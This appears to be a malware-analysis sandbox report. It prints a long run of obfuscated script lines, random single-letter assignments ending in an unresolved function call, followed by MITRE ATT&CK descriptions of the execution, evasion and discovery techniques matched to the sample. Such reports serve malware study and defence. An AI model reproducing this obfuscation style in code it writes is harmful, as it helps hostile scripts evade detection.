551	bgsnyxs = "D";
552	bgsnyxs = "r";
553	bgsnyxs = "C";
554	bgsnyxs = "C";
555	bgsnyxs = "T";
556	bgsnyxs = "I";
557	bgsnyxs = "r";
558	bgsnyxs = "n";
559	bgsnyxs = "N";
560	bgsnyxs = "J";
561	bgsnyxs = "N";
562	bgsnyxs = "z";
563	bgsnyxs = "m";
564	bgsnyxs = "Z";
565	bgsnyxs = "j";
566	bgsnyxs = "I";
567	bgsnyxs = "p";
568	bgsnyxs = "q";
569	wddtkpt = "V";
570	wddtkpt = "F";
571	wddtkpt = "B";
572	wddtkpt = "K";
573	wddtkpt = "h";
574	wddtkpt = "B";
575	wddtkpt = "z";
576	wddtkpt = "i";
577	wddtkpt = "Y";
578	wddtkpt = "l";
579	wddtkpt = "b";
580	wddtkpt = "e";
581	wddtkpt = "p";
582	wddtkpt = "e";
583	wddtkpt = "S";
584	wddtkpt = "T";
585	wddtkpt = "g";
586	wddtkpt = "V";
587	wddtkpt = "u";
588	wddtkpt = "E";
589	wddtkpt = "b";
590	wddtkpt = "H";
591	wddtkpt = "u";
592	scnwe = "L";
593	scnwe = "X";
594	scnwe = "D";
595	scnwe = "I";
596	scnwe = "w";
597	scnwe = "q";
598	scnwe = "T";
599	scnwe = "T";
600	scnwe = "H";
601	scnwe = "b";
602	scnwe = "p";
603	scnwe = "S";
604	scnwe = "k";
605	scnwe = "a";
606	scnwe = "q";
607	scnwe = "N";
608	scnwe = "s";
609	scnwe = "o";
610	scnwe = "X";
611	scnwe = "D";
612	scnwe = "l";
613	scnwe = "F";
614	scnwe = "C";
615	scnwe = "o";
616	scnwe = "O";
617	scnwe = "M";
618	scnwe = "G";
619	scnwe = "P";
620	scnwe = "j";
621	scnwe = "G";
622	scnwe = "w";
623	scnwe = "Y";
624	scnwe = "o";
625	scnwe = "g";
626	scnwe = "H";
627	scnwe = "_";
628	fnluwcbzf = "A";
629	fnluwcbzf = "q";
630	fnluwcbzf = "T";
631	fnluwcbzf = "M";
632	fnluwcbzf = "B";
633	fnluwcbzf = "U";
634	nxxoe = "v";
635	nxxoe = "Z";
636	nxxoe = "x";
637	nxxoe = "A";
638	nxxoe = "q";
639	nxxoe = "t";
640	nxxoe = "o";
641	nxxoe = "e";
642	nxxoe = "c";
643	nxxoe = "o";
644	nxxoe = "E";
645	nxxoe = "t";
646	nxxoe = "t";
647	nxxoe = "X";
648	nxxoe = "J";
649	nxxoe = "v";
650	nxxoe = "N";
651	nxxoe = "b";
652	nxxoe = "Q";
653	nxxoe = "k";
654	nxxoe = "Q";
655	nxxoe = "F";
656	nxxoe = "C";
657	nxxoe = "Q";
658	nxxoe = "w";
659	nxxoe = "l";
660	nxxoe = "-";
661	zlynmqhmd = "x";
662	zlynmqhmd = "S";
663	zlynmqhmd = "K";
664	zlynmqhmd = "F";
665	zlynmqhmd = "W";
666	zlynmqhmd = "A";
667	zlynmqhmd = "c";
668	zlynmqhmd = "f";
669	zlynmqhmd = "K";
670	zlynmqhmd = "g";
671	zlynmqhmd = "h";
672	zlynmqhmd = "M";
673	zlynmqhmd = "u";
674	zlynmqhmd = "V";
675	zlynmqhmd = "W";
676	zlynmqhmd = "o";
677	zlynmqhmd = "M";
678	zlynmqhmd = "C";
679	zlynmqhmd = "B";
680	zlynmqhmd = "B";
681	zlynmqhmd = "Q";
682	zlynmqhmd = "c";
683	zlynmqhmd = ":";
684	myagqgpyv = "n";
685	myagqgpyv = "f";
686	myagqgpyv = "q";
687	myagqgpyv = "b";
688	myagqgpyv = "G";
689	myagqgpyv = "x";
690	myagqgpyv = "a";
691	myagqgpyv = "t";
692	myagqgpyv = "x";
693	myagqgpyv = "C";
694	myagqgpyv = "R";
695	myagqgpyv = "i";
696	myagqgpyv = "i";
697	myagqgpyv = "r";
698	myagqgpyv = "G";
699	myagqgpyv = "C";
700	myagqgpyv = "H";
701	myagqgpyv = "l";
702	myagqgpyv = "z";
703	myagqgpyv = "V";
704	myagqgpyv = "c";
705	myagqgpyv = "J";
706	myagqgpyv = "G";
707	myagqgpyv = "O";
708	myagqgpyv = "N";
709	myagqgpyv = "@";
710	xtxlf = "K";
711	xtxlf = "G";
712	xtxlf = "A";
713	xtxlf = "l";
714	xtxlf = "t";
715	xtxlf = "g";
716	xtxlf = "W";
717	xtxlf = "s";
718	xtxlf = "s";
719	xtxlf = "L";
720	xtxlf = "U";
721	xtxlf = "V";
722	xtxlf = "j";
723	xtxlf = "K";
724	xtxlf = "k";
725	xtxlf = "e";
726	xtxlf = "H";
727	xtxlf = "X";
728	xtxlf = "t";
729	xtxlf = "y";
730	xtxlf = "N";
731	xtxlf = "R";
732	xtxlf = "c";
733	xtxlf = "B";
734	xtxlf = "U";
735	xtxlf = "O";
736	xtxlf = "7";
737	wdqwb = "H";
738	wdqwb = "l";
739	wdqwb = "s";
740	wdqwb = "I";
741	wdqwb = "v";
742	wdqwb = "L";
743	wdqwb = "a";
744	wdqwb = "X";
745	wdqwb = "b";
746	wdqwb = "d";
747	wdqwb = "u";
748	wdqwb = "L";
749	wdqwb = "e";
750	wdqwb = "J";
751	wdqwb = "Y";
752	wdqwb = "B";
753	wdqwb = "W";
754	wdqwb = "m";
755	wdqwb = "l";
756	wdqwb = "g";
757	wdqwb = "I";
758	phejwea = "B";
759	phejwea = "d";
760	phejwea = "U";
761	phejwea = "E";
762	phejwea = "l";
763	phejwea = "C";
764	phejwea = "Y";
765	phejwea = "E";
766	phejwea = "s";
767	phejwea = "o";
768	phejwea = "I";
769	phejwea = "y";
770	phejwea = "U";
771	phejwea = "F";
772	phejwea = "r";
773	phejwea = "d";
774	phejwea = "O";
775	phejwea = "d";
776	phejwea = "r";
777	phejwea = "L";
778	phejwea = "U";
779	phejwea = "C";
780	phejwea = "J";
781	phejwea = "D";
782	phejwea = "d";
783	phejwea = "w";
784	phejwea = "q";
785	phejwea = "p";
786	phejwea = "Y";
787	phejwea = "c";
788	phejwea = "k";
789	phejwea = "i";
790	phejwea = "e";
791	phejwea = "S";
792	phejwea = "J";
793	phejwea = "q";
794	phejwea = "t";
795	phejwea = "U";
796	phejwea = "L";
797	phejwea = "P";
798	phejwea = "F";
799	phejwea = "P";
800	phejwea = "T";
801	phejwea = "g";
802	ozyhd = "O";
803	ozyhd = "A";
804	ozyhd = "p";
805	ozyhd = "c";
806	ozyhd = "f";
807	ozyhd = "m";
808	ozyhd = "A";
809	ozyhd = "J";
810	ozyhd = "I";
811	ozyhd = "p";
812	ozyhd = "i";
813	ozyhd = "o";
814	ozyhd = "u";
815	ozyhd = "c";
816	ozyhd = "b";
817	ozyhd = "D";
818	ozyhd = "M";
819	ozyhd = "S";
820	ozyhd = "B";
821	ozyhd = "L";
822	ozyhd = "p";
823	ozyhd = "s";
824	ozyhd = "T";
825	ozyhd = "U";
826	ozyhd = "X";
827	ozyhd = "J";
828	ozyhd = "t";
829	ozyhd = "p";
830	ozyhd = "R";
831	ozyhd = "E";
832	ozyhd = "C";
833	ozyhd = "X";
834	ozyhd = "k";
835	ozyhd = "h";
836	ozyhd = "A";
837	ozyhd = "I";
838	ozyhd = "e";
839	ozyhd = "S";
840	ozyhd = "N";
841	ozyhd = "G";
842	ozyhd = "W";
843	sqbgfe = "U";
844	sqbgfe = "d";
845	sqbgfe = "F";
846	sqbgfe = "V";
847	sqbgfe = "a";
848	sqbgfe = "C";
849	sqbgfe = "c";
850	sqbgfe = "x";
851	sqbgfe = "B";
852	sqbgfe = "F";
853	sqbgfe = "L";
854	sqbgfe = "q";
855	sqbgfe = "o";
856	sqbgfe = "V";
857	sqbgfe = "c";
858	sqbgfe = "e";
859	sqbgfe = "M";
860	sqbgfe = "9";
861	xwdgeoa = "h";
862	xwdgeoa = "b";
863	xwdgeoa = "o";
864	xwdgeoa = "a";
865	xwdgeoa = "d";
866	xwdgeoa = "l";
867	xwdgeoa = "i";
868	xwdgeoa = "B";
869	xwdgeoa = "u";
870	xwdgeoa = "q";
871	xwdgeoa = "H";
872	xwdgeoa = "A";
873	xwdgeoa = "T";
874	xwdgeoa = "C";
875	xwdgeoa = "y";
876	xwdgeoa = "o";
877	xwdgeoa = "P";
878	xwdgeoa = "i";
879	xwdgeoa = "8";
880	aqtepjl = "I";
881	aqtepjl = "W";
882	aqtepjl = "H";
883	aqtepjl = "O";
884	aqtepjl = "F";
885	aqtepjl = "M";
886	aqtepjl = "L";
887	aqtepjl = "Z";
888	aqtepjl = "P";
889	aqtepjl = "h";
890	aqtepjl = "G";
891	aqtepjl = "N";
892	aqtepjl = "V";
893	aqtepjl = "a";
894	aqtepjl = "h";
895	aqtepjl = "o";
896	aqtepjl = "i";
897	aqtepjl = "u";
898	aqtepjl = "h";
899	aqtepjl = "a";
900	aqtepjl = "t";
901	aqtepjl = "W";
902	aqtepjl = "n";
903	aqtepjl = "U";
904	aqtepjl = "d";
905	aqtepjl = "x";
906	aqtepjl = "n";
907	zjvxtbwry = "X";
908	zjvxtbwry = "q";
909	zjvxtbwry = "g";
910	zjvxtbwry = "t";
911	zjvxtbwry = "h";
912	zjvxtbwry = "C";
913	zjvxtbwry = "N";
914	zjvxtbwry = "F";
915	zjvxtbwry = "E";
916	zjvxtbwry = "f";
917	zjvxtbwry = "u";
918	zjvxtbwry = "d";
919	zjvxtbwry = "S";
920	zjvxtbwry = "M";
921	zjvxtbwry = "D";
922	zjvxtbwry = "b";
923	zjvxtbwry = "H";
924	zjvxtbwry = "A";
925	zjvxtbwry = "M";
926	zjvxtbwry = "C";
927	zjvxtbwry = "M";
928	zjvxtbwry = "L";
929	zjvxtbwry = "G";
930	zjvxtbwry = "a";
931	zjvxtbwry = "E";
932	zjvxtbwry = "X";
933	zjvxtbwry = "F";
934	zjvxtbwry = "W";
935	zjvxtbwry = "r";
936	zjvxtbwry = "t";
937	zjvxtbwry = "J";
938	zjvxtbwry = "H";
939	zjvxtbwry = "h";
940	zjvxtbwry = "Y";
941	zjvxtbwry = "D";
942	zjvxtbwry = "E";
943	vxiqimp = "g";
944	vxiqimp = "Z";
945	vxiqimp = "l";
946	vxiqimp = "Q";
947	vxiqimp = "Q";
948	vxiqimp = "F";
949	vxiqimp = "O";
950	vxiqimp = "l";
951	vxiqimp = "/";
952	ghltndri = "S";
953	ghltndri = "n";
954	ghltndri = "I";
955	ghltndri = "T";
956	ghltndri = "T";
957	ghltndri = "P";
958	ghltndri = "j";
959	ghltndri = "O";
960	ghltndri = "E";
961	ghltndri = "T";
962	ghltndri = "e";
963	ghltndri = "w";
964	ghltndri = "i";
965	ghltndri = "c";
966	ghltndri = "n";
967	ghltndri = "H";
968	ghltndri = "G";
969	ghltndri = "Q";
970	ghltndri = "f";
971	ghltndri = "v";
972	ghltndri = "y";
973	ghltndri = "t";
974	ghltndri = "e";
975	ghltndri = "L";
976	ghltndri = "m";
977	ghltndri = "F";
978	ghltndri = "a";
979	ghltndri = "u";
980	ghltndri = "l";
981	ghltndri = "O";
982	ghltndri = "h";
983	ghltndri = "k";
984	kitafr = "g";
985	kitafr = "Y";
986	kitafr = "B";
987	kitafr = "L";
988	eyofy = "c";
989	eyofy = "s";
990	eyofy = "g";
991	eyofy = "B";
992	eyofy = "B";
993	eyofy = "d";
994	eyofy = "M";
995	eyofy = "I";
996	eyofy = "u";
997	eyofy = "V";
998	eyofy = "G";
999	eyofy = "O";
1000	eyofy = "x";
1001	eyofy = "Y";
1002	eyofy = "a";
1003	eyofy = "F";
1004	eyofy = "Q";
1005	eyofy = "T";
1006	eyofy = "b";
1007	eyofy = "X";
1008	eyofy = "L";
1009	eyofy = "i";
1010	eyofy = "j";
1011	eyofy = "v";
1012	tiiscgljo = "I";
1013	tiiscgljo = "Z";
1014	tiiscgljo = "X";
1015	tiiscgljo = "R";
1016	tiiscgljo = "e";
1017	tiiscgljo = "r";
1018	tiiscgljo = "i";
1019	tiiscgljo = "g";
1020	tiiscgljo = "K";
1021	tiiscgljo = "V";
1022	tiiscgljo = "w";
1023	tiiscgljo = "p";
1024	tiiscgljo = "T";
1025	tiiscgljo = "L";
1026	tiiscgljo = "y";
1027	tiiscgljo = "r";
1028	tiiscgljo = "b";
1029	tiiscgljo = "M";
1030	tiiscgljo = "I";
1031	tiiscgljo = "Z";
1032	tiiscgljo = "B";
1033	tiiscgljo = "L";
1034	tiiscgljo = "t";
1035	tiiscgljo = "T";
1036	tiiscgljo = "H";
1037	tiiscgljo = "U";
1038	tiiscgljo = "f";
1039	tiiscgljo = "o";
1040	tiiscgljo = "K";
1041	tiiscgljo = "X";
1042	tiiscgljo = "f";
1043	tiiscgljo = "R";
1044	tiiscgljo = "j";
1045	tiiscgljo = "F";
1046	tiiscgljo = "F";
1047	tiiscgljo = "J";
1048	tiiscgljo = "D";
1049	tiiscgljo = "F";
1050	tiiscgljo = "R";
1051	tiiscgljo = ".";
1052	feszwukus = "k";
1053	feszwukus = "G";
1054	feszwukus = "z";
1055	feszwukus = "u";
1056	feszwukus = "R";
1057	feszwukus = "a";
1058	feszwukus = "Q";
1059	feszwukus = "N";
1060	feszwukus = "U";
1061	feszwukus = "N";
1062	feszwukus = "L";
1063	feszwukus = "Q";
1064	feszwukus = "k";
1065	feszwukus = "W";
1066	feszwukus = "y";
1067	feszwukus = "K";
1068	feszwukus = "J";
1069	feszwukus = "f";
1070	feszwukus = "y";
1071	feszwukus = "q";
1072	feszwukus = "X";
1073	feszwukus = "c";
1074	feszwukus = "d";
1075	feszwukus = "x";
1076	feszwukus = "m";
1077	feszwukus = "i";
1078	feszwukus = "I";
1079	feszwukus = "E";
1080	feszwukus = "D";
1081	feszwukus = "t";
1082	feszwukus = "k";
1083	feszwukus = " ";
1084	oumuai = "n";
1085	oumuai = "k";
1086	oumuai = "p";
1087	oumuai = "t";
1088	oumuai = "O";
1089	oumuai = "X";
1090	oumuai = "v";
1091	oumuai = "A";
1092	oumuai = "H";
1093	oumuai = "Q";
1094	oumuai = "q";
1095	oumuai = "H";
1096	oumuai = "b";
1097	oumuai = "n";
1098	oumuai = "O";
1099	oumuai = "G";
1100	oumuai = "e";
1101	oumuai = "M";
1102	oumuai = "S";
1103	oumuai = "c";
1104	oumuai = "b";
1105	oumuai = "l";
1106	oumuai = "N";
1107	oumuai = "J";
1108	oumuai = "h";
1109	oumuai = "v";
1110	oumuai = "k";
1111	oumuai = "M";
1112	oumuai = "y";
1113	oumuai = "g";
1114	oumuai = "c";
1115	oumuai = "o";
1116	oumuai = "l";
1117	oumuai = "C";
1118	oumuai = "A";
1119	oumuai = "M";
1120	oumuai = "N";
1121	oumuai = "M";
1122	oumuai = "s";
1123	nalbeqbea = "D";
1124	nalbeqbea = "m";
1125	nalbeqbea = "A";
1126	nalbeqbea = "g";
1127	nalbeqbea = "W";
1128	nalbeqbea = "q";
1129	nalbeqbea = "y";
1130	nalbeqbea = "A";
1131	nalbeqbea = "d";
1132	nalbeqbea = "l";
1133	nalbeqbea = "g";
1134	nalbeqbea = "U";
1135	nalbeqbea = "g";
1136	nalbeqbea = "q";
1137	nalbeqbea = "y";
1138	nalbeqbea = "b";
1139	nalbeqbea = "V";
1140	nalbeqbea = "D";
1141	nalbeqbea = "r";
1142	nalbeqbea = "b";
1143	nalbeqbea = "O";
1144	nalbeqbea = "A";
1145	nalbeqbea = "d";
1146	nalbeqbea = "t";
1147	nalbeqbea = "N";
1148	nalbeqbea = "w";
1149	nalbeqbea = "I";
1150	nalbeqbea = "d";
1151	nalbeqbea = "v";
1152	nalbeqbea = "L";
1153	nalbeqbea = "t";
1154	nalbeqbea = "d";
1155	nalbeqbea = "H";
1156	nalbeqbea = "&";
1157	pleshw = "G";
1158	pleshw = "F";
1159	pleshw = "d";
1160	pleshw = "Q";
1161	akooes = "E";
1162	akooes = "T";
1163	akooes = "P";
1164	akooes = "T";
1165	akooes = "L";
1166	akooes = "e";
1167	akooes = "k";
1168	akooes = "m";
1169	akooes = "b";
1170	akooes = "n";
1171	akooes = "j";
1172	akooes = "m";
1173	akooes = "a";
1174	akooes = "c";
1175	akooes = "b";
1176	akooes = "a";
1177	akooes = "V";
1178	akooes = "L";
1179	akooes = "i";
1180	akooes = "D";
1181	akooes = "l";
1182	qybyvtkc = "o";
1183	qybyvtkc = "d";
1184	qybyvtkc = "o";
1185	qybyvtkc = "x";
1186	qybyvtkc = "N";
1187	qybyvtkc = "A";
1188	qybyvtkc = "F";
1189	qybyvtkc = "y";
1190	qybyvtkc = "y";
1191	qybyvtkc = "t";
1192	qybyvtkc = "J";
1193	qybyvtkc = "A";
1194	qybyvtkc = "i";
1195	qybyvtkc = "4";
1196	mzqdzhc = "i";
1197	mzqdzhc = "o";
1198	mzqdzhc = "F";
1199	mzqdzhc = "e";
1200	mzqdzhc = "X";
1201	mzqdzhc = "Q";
1202	mzqdzhc = "h";
1203	mzqdzhc = "o";
1204	mzqdzhc = "S";
1205	mzqdzhc = "e";
1206	mzqdzhc = "Z";
1207	mzqdzhc = "H";
1208	mzqdzhc = "h";
1209	mzqdzhc = "z";
1210	mzqdzhc = "Q";
1211	mzqdzhc = "B";
1212	mzqdzhc = "Q";
1213	mzqdzhc = "r";
1214	mzqdzhc = "O";
1215	mzqdzhc = "r";
1216	mzqdzhc = "P";
1217	mzqdzhc = "a";
1218	mzqdzhc = "S";
1219	mzqdzhc = "e";
1220	mzqdzhc = "l";
1221	mzqdzhc = "U";
1222	mzqdzhc = "L";
1223	mzqdzhc = "T";
1224	mzqdzhc = "n";
1225	mzqdzhc = "v";
1226	mzqdzhc = "i";
1227	mzqdzhc = "C";
1228	mzqdzhc = "L";
1229	mzqdzhc = "a";
1230	mzqdzhc = "X";
1231	mzqdzhc = "W";
1232	mzqdzhc = "r";
1233	mzqdzhc = "t";
1234	augjuor = "d";
1235	augjuor = "s";
1236	augjuor = "e";
1237	augjuor = "A";
1238	augjuor = "l";
1239	augjuor = "Z";
1240	augjuor = "o";
1241	augjuor = "J";
1242	augjuor = "x";
1243	augjuor = "s";
1244	augjuor = "S";
1245	augjuor = "C";
1246	augjuor = "P";
1247	augjuor = "s";
1248	augjuor = "j";
1249	augjuor = "G";
1250	augjuor = "G";
1251	augjuor = "i";
1252	augjuor = "h";
1253	augjuor = "j";
1254	augjuor = "G";
1255	augjuor = "E";
1256	augjuor = "Y";
1257	augjuor = "u";
1258	augjuor = "a";
1259	augjuor = "q";
1260	augjuor = "O";
1261	augjuor = "l";
1262	augjuor = "Q";
1263	augjuor = "g";
1264	augjuor = "O";
1265	augjuor = "w";
1266	augjuor = "d";
1267	qvkjonfow = "S";
1268	qvkjonfow = "a";
1269	qvkjonfow = "T";
1270	qvkjonfow = "o";
1271	qvkjonfow = "I";
1272	qvkjonfow = "K";
1273	ujrnqrxy = "Y";
1274	ujrnqrxy = "d";
1275	ujrnqrxy = "E";
1276	ujrnqrxy = "c";
1277	ujrnqrxy = "b";
1278	ujrnqrxy = "V";
1279	ujrnqrxy = "q";
1280	ujrnqrxy = "o";
1281	ycqwxyiy = "l";
1282	ycqwxyiy = "T";
1283	ycqwxyiy = "L";
1284	ycqwxyiy = "k";
1285	ycqwxyiy = "y";
1286	ycqwxyiy = "L";
1287	ycqwxyiy = "u";
1288	ycqwxyiy = "b";
1289	ycqwxyiy = "F";
1290	ycqwxyiy = "c";
1291	ycqwxyiy = "O";
1292	ycqwxyiy = "q";
1293	ycqwxyiy = "T";
1294	ycqwxyiy = "L";
1295	ycqwxyiy = "j";
1296	ycqwxyiy = "H";
1297	ycqwxyiy = "h";
1298	ycqwxyiy = "f";
1299	ycqwxyiy = "Y";
1300	ycqwxyiy = "j";
1301	ycqwxyiy = "r";
1302	ycqwxyiy = "E";
1303	ycqwxyiy = "P";
1304	ycqwxyiy = "o";
1305	ycqwxyiy = "n";
1306	ycqwxyiy = "X";
1307	ycqwxyiy = "p";
1308	ycqwxyiy = "A";
1309	ycqwxyiy = "U";
1310	ycqwxyiy = "v";
1311	ycqwxyiy = "O";
1312	ycqwxyiy = "j";
1313	ycqwxyiy = "l";
1314	ycqwxyiy = "g";
1315	ycqwxyiy = "X";
1316	ycqwxyiy = "C";
1317	ycqwxyiy = "x";
1318	yvngpofpm = "f";
1319	yvngpofpm = "U";
1320	yvngpofpm = "N";
1321	yvngpofpm = "i";
1322	yvngpofpm = "z";
1323	yvngpofpm = "J";
1324	yvngpofpm = "Z";
1325	yvngpofpm = "f";
1326	yvngpofpm = "x";
1327	yvngpofpm = "R";
1328	yvngpofpm = "v";
1329	yvngpofpm = "f";
1330	yvngpofpm = "M";
1331	yvngpofpm = "n";
1332	yvngpofpm = "g";
1333	yvngpofpm = "T";
1334	yvngpofpm = "Y";
1335	yvngpofpm = "C";
1336	yvngpofpm = "X";
1337	yvngpofpm = "q";
1338	yvngpofpm = "n";
1339	yvngpofpm = "r";
1340	yvngpofpm = "Q";
1341	yvngpofpm = "c";
1342	yvngpofpm = "X";
1343	yvngpofpm = "H";
1344	yvngpofpm = "n";
1345	yvngpofpm = "m";
1346	xuzotrh = "G";
1347	xuzotrh = "V";
1348	xuzotrh = "C";
1349	xuzotrh = "y";
1350	xuzotrh = "j";
1351	xuzotrh = "J";
1352	xuzotrh = "g";
1353	xuzotrh = "d";
1354	xuzotrh = "y";
1355	xuzotrh = "V";
1356	xuzotrh = "D";
1357	xuzotrh = "S";
1358	xuzotrh = "N";
1359	xuzotrh = "F";
1360	xuzotrh = "V";
1361	xuzotrh = "g";
1362	xuzotrh = "e";
1363	xuzotrh = "u";
1364	xuzotrh = "m";
1365	xuzotrh = "R";
1366	xuzotrh = "n";
1367	xuzotrh = "u";
1368	xuzotrh = "h";
1369	xuzotrh = "A";
1370	xuzotrh = "U";
1371	xuzotrh = "N";
1372	xuzotrh = "Y";
1373	xuzotrh = "x";
1374	xuzotrh = "S";
1375	xuzotrh = "B";
1376	xuzotrh = "r";
1377	xuzotrh = "s";
1378	xuzotrh = "u";
1379	xuzotrh = "R";
1380	xuzotrh = "O";
1381	xuzotrh = "k";
1382	xuzotrh = "l";
1383	xuzotrh = "t";
1384	xuzotrh = "p";
1385	xuzotrh = "a";
1386	xuzotrh = "c";
1387	xuzotrh = "w";
1388	jphalwto = "d";
1389	jphalwto = "O";
1390	jphalwto = "r";
1391	jphalwto = "h";
1392	jphalwto = "k";
1393	jphalwto = "e";
1394	jphalwto = "I";
1395	jphalwto = "P";
1396	jphalwto = "Y";
1397	jphalwto = "S";
1398	jphalwto = "S";
1399	jphalwto = "X";
1400	jphalwto = "G";
1401	jphalwto = "h";
1402	jphalwto = "a";
1403	jphalwto = "F";
1404	jphalwto = "a";
1405	jphalwto = "s";
1406	jphalwto = "H";
1407	jphalwto = "v";
1408	jphalwto = "w";
1409	jphalwto = "j";
1410	jphalwto = "K";
1411	jphalwto = "y";
1412	jphalwto = "n";
1413	jphalwto = "r";
1414	jphalwto = "g";
1415	jphalwto = "g";
1416	jphalwto = "D";
1417	jphalwto = "C";
1418	jphalwto = "E";
1419	jphalwto = "G";
1420	jphalwto = "A";
1421	jphalwto = "i";
1422	jphalwto = "Y";
1423	jphalwto = "p";
1424	jphalwto = "D";
1425	jphalwto = "S";
1426	jphalwto = "t";
1427	jphalwto = "A";
1428	jphalwto = "t";
1429	jphalwto = "q";
1430	jphalwto = "B";
1431	jphalwto = "p";
1432	gvbmmvt ( );	gvbmmvt() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
